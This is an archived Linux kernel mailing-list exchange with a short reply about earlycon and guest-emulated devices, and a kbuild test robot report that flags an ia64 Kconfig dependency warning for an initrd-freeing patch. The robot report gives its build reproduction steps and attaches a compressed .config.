 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3713 gmane.linux.ports.mips.general:64301 gmane.linux.ports.sh.devel:56780 gmane.linux.kernel:2728824 gmane.linux.ports.ia64:28781 gmane.linux.ports.hexagon:1624 gmane.linux.kernel.metag:1749 gmane.linux.ports.arm.kernel:641729 gmane.linux.ports.parisc:28456 gmane.linux.ports.alpha:4912 gmane.linux.ports.sparc:27514 gmane.linux.uml.devel:16741 gmane.linux.uml.user:15417 gmane.linux.ports.ppc64.devel:155494
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3713>

On Thu, 29 Mar 2018 18:32:47 +0100,
Russell King - ARM Linux wrote:
> 
> On Thu, Mar 29, 2018 at 05:53:14PM +0100, Marc Zyngier wrote:
> > On Thu, 29 Mar 2018 16:58:27 +0100,
> > Russell King - ARM Linux wrote:

[...]

> > > I'm not aware of there being an emulated UART in the guest's address
> > > space, so serial based stuff doesn't work.
> > 
> > "earlycon=uart,mmio,0x3f8" is what you're looking for:
> 
> Does that also mean that we have a RTC at the standard PC IO addresses
> as well, but in mmio space?

There is one, together with an i8042. Not exposed in the DT though.

	M.

-- 
Jazz is not dead, it just smell funny.

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Fri, 30 Mar 2018 09:43:19 +0800
Lines: 161
Approved: news@gmane.org
Message-ID: <201803300950.Egf6dCw2%fengguang.wu@intel.com>
References: <20180328152714.6103-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="tThc/1wpZn/ma/RB"
X-Trace: blaine.gmane.org 1522374133 2810 195.159.176.226 (30 Mar 2018 01:42:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 01:42:13 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
 Richard Kuo <rkuo@codeaurora.org>, kbuild-all@0
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 30 03:42:00 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1j3G-0000Oi-Ph
	for gla-linux-snps-arc@m.gmane.org; Fri, 30 Mar 2018 03:41:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:In-Reply-To:
	Content-Type:MIME-Version:References:Message-ID:Subject:To:From:Date:Reply-To
	:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=ta9i22Em9Q6B7ERnHrZtjEOtxMaAcYecl0vI7dpEasw=; b=tv1Z4OPX+xPjrua9d79tYizBZ
	916yXsmZu7ivb7tEZxpCWhqkrI+EWBwLmWlPBoBkHi+VeeEQEvinY2HBUKfNCURSvxf7YxWl+WTpK
	N0a3XINqoIapBOwbGVqlue0MR+/CXVhpZEguPoa8VfNs79gM5EWHhPTHgAJh3Lq0j3WCpu/Dpd3a9
	HDMoxCUZ4SKBOCyae7VVz9gzkpQRVk3tqTt3cMQHRW2uEIlbJM7aLVqM+9uXulU7+xhM1IqhKMjNf
	YNfTpaEKVGztv6Cuc1e6mRPZ4QFTdkpZ9NwBHNrYOQTUcgup4+iPmJCpwWH8UAmdvrN6AKyOOI9Wk
	H9bRiOV5g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1j5H-00009o-Mj; Fri, 30 Mar 2018 01:44:03 +0000
Original-Received: from mga06.intel.com ([134.134.136.31])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1j5C-00007m-E9; Fri, 30 Mar 2018 01:44:00 +0000
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from orsmga007.jf.intel.com ([10.7.209.58])
 by orsmga104.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 29 Mar 2018 18:43:44 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,378,1517904000"; 
 d="gz'50?scan'50,208,50";a="29256311"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by orsmga007.jf.intel.com with ESMTP; 29 Mar 2018 18:43:29 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu@intel.com>)
 id 1f1j4h-000RCX-Vr; Fri, 30 Mar 2018 09:43:28 +0800
Content-Disposition: inline
In-Reply-To: <20180328152714.6103-1-shea@shealevy.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_184358_520512_BB2980AF 
X-CRM114-Status: GOOD (  21.36  )
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [134.134.136.31 listed in list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3714 gmane.linux.ports.mips.general:64304 gmane.linux.ports.sh.devel:56781 gmane.linux.kernel:2729222 gmane.linux.ports.ia64:28783 gmane.linux.ports.hexagon:1625 gmane.linux.kernel.metag:1750 gmane.linux.ports.arm.kernel:641764 gmane.linux.ports.parisc:28457 gmane.linux.ports.alpha:4914 gmane.linux.ports.sparc:27515 gmane.linux.uml.devel:16749 gmane.linux.uml.user:15420 gmane.linux.ports.ppc64.devel:155504
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3714>


--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Shea,

Thank you for the patch! Perhaps something to improve:

[auto build test WARNING on linus/master]
[also build test WARNING on v4.16-rc7]
[cannot apply to next-20180329]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Shea-Levy/Extract-initrd-free-logic-from-arch-specific-code/20180330-085507
config: ia64-allnoconfig (attached as .config)
compiler: ia64-linux-gcc (GCC) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=ia64 

All warnings (new ones prefixed by >>):

warning: (IA64) selects HAVE_ARCH_FREE_INITRD_MEM which has unmet direct dependencies (BLK_DEV_INITRD)

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--tThc/1wpZn/ma/RB
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
H+DM34itVQAA

--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--tThc/1wpZn/ma/RB--



From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Fri, 30 Mar 2018 11:16:11 +0800
Lines: 263
Approved: news@gmane.org
Message-ID: <201803300916.uTxZY6Kv%fengguang.wu@intel.com>
References: <20180328152714.6103-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="d6Gm4EdcadzBjdND"
X-Trace: blaine.gmane.org 1522379948 6604 195.159.176.226 (30 Mar 2018 03:19:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 30 Mar 2018 03:19:08 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
 Richard Kuo <rkuo@codeaurora.org>, kbuild-all@0
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 30 05:18:55 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1kYy-0001Hi-NW
	for gla-linux-snps-arc@m.gmane.org; Fri, 30 Mar 2018 05:18:49 +0200
